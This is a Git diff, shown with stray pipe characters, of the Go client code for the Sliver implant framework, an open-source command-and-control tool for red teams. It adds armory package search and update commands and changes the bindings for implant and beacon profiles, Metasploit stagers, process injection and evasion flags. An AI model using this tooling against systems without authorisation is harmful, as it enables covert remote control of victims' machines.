the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmorySearchCmd - Search for packages by name
|
||||
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
rawNameExpr := ctx.Args.String("name")
|
||||
if rawNameExpr == "" {
|
||||
con.PrintErrorf("Please specify a search term!\n")
|
||||
return
|
||||
}
|
||||
nameExpr, err := regexp.Compile(rawNameExpr)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid regular expression: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
aliases, exts := packagesInCache()
|
||||
matchedAliases := []*alias.AliasManifest{}
|
||||
for _, a := range aliases {
|
||||
if nameExpr.MatchString(a.CommandName) {
|
||||
matchedAliases = append(matchedAliases, a)
|
||||
}
|
||||
}
|
||||
matchedExts := []*extensions.ExtensionManifest{}
|
||||
for _, ext := range exts {
|
||||
if nameExpr.MatchString(ext.CommandName) {
|
||||
matchedExts = append(matchedExts, ext)
|
||||
}
|
||||
}
|
||||
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
|
||||
con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
|
||||
return
|
||||
}
|
||||
PrintArmoryPackages(matchedAliases, matchedExts, con)
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmoryUpdateCmd - Update all installed extensions/aliases
|
||||
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
|
||||
// Aliases
|
||||
aliasUpdates := checkForAliasUpdates(clientConfig, con)
|
||||
if 0 < len(aliasUpdates) {
|
||||
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
|
||||
for _, aliasName := range aliasUpdates {
|
||||
err := installAliasPackageByName(aliasName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All aliases up to date!\n")
|
||||
}
|
||||
|
||||
// Extensions
|
||||
extUpdates := checkForExtensionUpdates(clientConfig, con)
|
||||
if 0 < len(extUpdates) {
|
||||
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
|
||||
for _, extName := range extUpdates {
|
||||
err := installExtensionPackageByName(extName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All extensions up to date!\n")
|
||||
}
|
||||
}
|
||||
|
||||
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
|
||||
cachedAliases, _ := packagesInCache()
|
||||
results := []string{}
|
||||
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
|
||||
data, err := ioutil.ReadFile(aliasManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
localManifest, err := alias.ParseAliasManifest(data)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, latestAlias := range cachedAliases {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
|
||||
_, cachedExtensions := packagesInCache()
|
||||
results := []string{}
|
||||
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
|
||||
data, err := ioutil.ReadFile(extManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
localManifest, err := extensions.ParseExtensionManifest(data)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, latestExt := range cachedExtensions {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
+422
-81
@@ -17,7 +17,7 @@ package command
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
---
|
||||
---------------------------------------------------------------------
|
||||
This file contains all of the code that binds a given string/flags/etc. to a
|
||||
command implementation function.
|
||||
|
||||
@@ -36,11 +36,12 @@ package command
|
||||
import (
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/socks"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/armory"
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
@@ -53,7 +54,6 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/jobs"
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/command/macros"
|
||||
"github.com/bishopfox/sliver/client/command/monitor"
|
||||
"github.com/bishopfox/sliver/client/command/network"
|
||||
"github.com/bishopfox/sliver/client/command/operators"
|
||||
@@ -68,6 +68,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/command/shell"
|
||||
"github.com/bishopfox/sliver/client/command/socks"
|
||||
"github.com/bishopfox/sliver/client/command/tasks"
|
||||
"github.com/bishopfox/sliver/client/command/update"
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
@@ -86,6 +87,7 @@ const (
|
||||
// BindCommands - Bind commands to a App
|
||||
func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
// Load Reactions
|
||||
n, err := reaction.LoadReactions()
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("Failed to load reactions: %s\n", err)
|
||||
@@ -93,16 +95,194 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
|
||||
}
|
||||
|
||||
// Attempt to load extensions from ~/.sliver-client/extensions/
|
||||
exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
|
||||
// Absorb error in case there's no extensions manifest
|
||||
if err == nil {
|
||||
for _, ext := range exts {
|
||||
extensions.RegisterExtensionCommand(ext, con)
|
||||
// Load Aliases
|
||||
aliasManifests := assets.GetInstalledAliasManifests()
|
||||
n = 0
|
||||
for _, manifest := range aliasManifests {
|
||||
_, err = alias.LoadAlias(manifest, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load alias: %s\n", err)
|
||||
continue
|
||||
}
|
||||
n++
|
||||
}
|
||||
if 0 < n {
|
||||
con.PrintInfof("Loaded %d alias(es) from disk\n", n)
|
||||
}
|
||||
|
||||
// Load Extensions
|
||||
extensionManifests := assets.GetInstalledExtensionManifests()
|
||||
n = 0
|
||||
for _, manifest := range extensionManifests {
|
||||
ext, err := extensions.LoadExtensionManifest(manifest)
|
||||
// Absorb error in case there's no extensions manifest
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load extension: %s\n", err)
|
||||
continue
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(ext, con)
|
||||
n++
|
||||
}
|
||||
if 0 < n {
|
||||
con.PrintInfof("Loaded %d extension(s) from disk\n", n)
|
||||
}
|
||||
con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
|
||||
|
||||
// [ Aliases ] ---------------------------------------------
|
||||
|
||||
aliasCmd := &grumble.Command{
|
||||
Name: consts.AliasesStr,
|
||||
Help: "List current aliases",
|
||||
LongHelp: help.GetHelpFor([]string{consts.AliasesStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
alias.AliasesCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(aliasCmd)
|
||||
|
||||
aliasCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.LoadStr,
|
||||
Help: "Load a command alias",
|
||||
LongHelp: help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
alias.AliasesLoadCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("dir-path", "path to the alias directory")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return completers.LocalPathCompleter(prefix, args, con)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
aliasCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.InstallStr,
|
||||
Help: "Install a command alias",
|
||||
LongHelp: help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
alias.AliasesInstallCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the alias directory or tar.gz file")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return completers.LocalPathCompleter(prefix, args, con)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
aliasCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove an alias",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RmStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
alias.AliasesRemoveCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the alias to remove")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return alias.AliasCommandNameCompleter(prefix, args, con)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
// [ Armory ] ---------------------------------------------
|
||||
|
||||
armoryCmd := &grumble.Command{
|
||||
Name: consts.ArmoryStr,
|
||||
Help: "Automatically download and install extensions/aliases",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("I", "insecure", false, "skip tls certificate validation")
|
||||
f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
|
||||
f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
|
||||
f.String("t", "timeout", "15m", "download timeout")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
armory.ArmoryCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(armoryCmd)
|
||||
|
||||
armoryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.InstallStr,
|
||||
Help: "Install an alias or extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("I", "insecure", false, "skip tls certificate validation")
|
||||
f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
|
||||
f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
|
||||
f.String("t", "timeout", "15m", "download timeout")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
armory.ArmoryInstallCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the extension or alias to install")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return armory.AliasExtensionOrBundleCompleter(prefix, args, con)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
armoryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.UpdateStr,
|
||||
Help: "Update installed an aliases and extensions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("I", "insecure", false, "skip tls certificate validation")
|
||||
f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
|
||||
f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
|
||||
f.String("t", "timeout", "15m", "download timeout")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
armory.ArmoryUpdateCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
armoryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.SearchStr,
|
||||
Help: "Search for aliases and extensions by name (regex)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "a name regular expression")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
armory.ArmorySearchCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
// [ Update ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
@@ -286,7 +466,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Start a stager listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("p", "profile", "", "Implant profile to link with the listener")
|
||||
f.String("p", "profile", "", "Implant profile name to link with the listener")
|
||||
f.String("u", "url", "", "URL to which the stager will call back to")
|
||||
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
|
||||
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
|
||||
@@ -503,7 +683,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
return nil
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return use.Completer(con, prefix, args)
|
||||
return use.BeaconAndSessionIDCompleter(prefix, args, con)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
@@ -804,6 +984,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
|
||||
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
|
||||
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
@@ -817,8 +998,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
|
||||
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("filepath", "path the shared library file")
|
||||
@@ -1073,7 +1255,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
generateCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.StagerStr,
|
||||
Help: "Generate a implant stager using MSF",
|
||||
Help: "Generate a stager using Metasploit (requires local Metasploit installation)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.StagerStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("o", "os", "windows", "operating system")
|
||||
@@ -1084,6 +1266,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
|
||||
f.String("b", "badchars", "", "bytes to exclude from stage shellcode")
|
||||
f.String("s", "save", "", "directory to save the generated stager to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -1095,9 +1278,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
generateCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CompilerStr,
|
||||
Name: consts.CompilerInfoStr,
|
||||
Help: "Get information about the server's compiler",
|
||||
LongHelp: help.GetHelpFor([]string{consts.CompilerStr}),
|
||||
LongHelp: help.GetHelpFor([]string{consts.CompilerInfoStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1152,11 +1335,16 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Generate implant from a profile",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("p", "name", "", "profile name")
|
||||
f.String("s", "save", "", "directory/file to the binary to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the profile", grumble.Default(""))
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return generate.ProfileNameCompleter(prefix, args, con)
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
generate.ProfilesGenerateCmd(ctx, con)
|
||||
@@ -1165,32 +1353,35 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
profilesCmd.AddCommand(&grumble.Command{
|
||||
profilesNewCmd := &grumble.Command{
|
||||
Name: consts.NewStr,
|
||||
Help: "Save a new implant profile",
|
||||
Help: "Create a new implant profile (interactive session)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
|
||||
// Generate flags
|
||||
f.String("o", "os", "windows", "operating system")
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("s", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
|
||||
f.String("m", "mtls", "", "mtls domain(s)")
|
||||
f.String("g", "wg", "", "wg domain(s)")
|
||||
f.String("H", "http", "", "http[s] domain(s)")
|
||||
f.String("n", "dns", "", "dns domain(s)")
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.String("m", "mtls", "", "mtls connection strings")
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
|
||||
|
||||
f.String("w", "limit-datetime", "", "limit execution to before datetime")
|
||||
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
|
||||
@@ -1200,11 +1391,11 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
|
||||
f.String("R", "profile-name", "", "profile name")
|
||||
f.String("N", "name", "", "agent name")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the profile", grumble.Default(""))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
generate.ProfilesNewCmd(ctx, con)
|
||||
@@ -1212,7 +1403,67 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
profilesCmd.AddCommand(profilesNewCmd)
|
||||
|
||||
// New Beacon Profile Command
|
||||
profilesNewCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.BeaconStr,
|
||||
Help: "Create a new implant profile (beacon)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr, consts.BeaconStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int64("D", "days", 0, "beacon interval days")
|
||||
f.Int64("H", "hours", 0, "beacon interval hours")
|
||||
f.Int64("M", "minutes", 0, "beacon interval minutes")
|
||||
f.Int64("S", "seconds", 60, "beacon interval seconds")
|
||||
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
|
||||
|
||||
// Generate flags
|
||||
f.String("o", "os", "windows", "operating system")
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.String("m", "mtls", "", "mtls connection strings")
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
|
||||
f.String("w", "limit-datetime", "", "limit execution to before datetime")
|
||||
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
|
||||
f.String("y", "limit-username", "", "limit execution to specified username")
|
||||
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
|
||||
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the profile", grumble.Default(""))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
generate.ProfilesNewBeaconCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
profilesCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove a profile",
|
||||
@@ -1221,7 +1472,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("profile-name", "name of the profile")
|
||||
a.String("name", "name of the profile", grumble.Default(""))
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return generate.ProfileNameCompleter(prefix, args, con)
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -1238,6 +1492,13 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "List implant builds",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ImplantBuildsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("o", "os", "", "filter builds by operating system")
|
||||
f.String("a", "arch", "", "filter builds by cpu architecture")
|
||||
f.String("f", "format", "", "filter builds by artifact format")
|
||||
f.Bool("s", "only-sessions", false, "filter interactive sessions")
|
||||
f.Bool("b", "only-beacons", false, "filter beacons")
|
||||
f.Bool("d", "no-debug", false, "filter builds by debug flag")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -1256,7 +1517,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("implant-name", "implant name")
|
||||
a.String("name", "implant name", grumble.Default(""))
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return generate.ImplantBuildNameCompleter(prefix, args, generate.ImplantBuildFilter{}, con)
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -1861,24 +2125,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
con.App.AddCommand(beaconsCmd)
|
||||
|
||||
// [ Macros ] ---------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.LoadMacroStr,
|
||||
Help: "Load a sliver macro",
|
||||
LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
macros.LoadMacroCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("dir-path", "path to the macro directory")
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
// [ Environment ] ---------------------------------------------
|
||||
|
||||
envCmd := &grumble.Command{
|
||||
@@ -2069,10 +2315,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
// [ Pivots ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
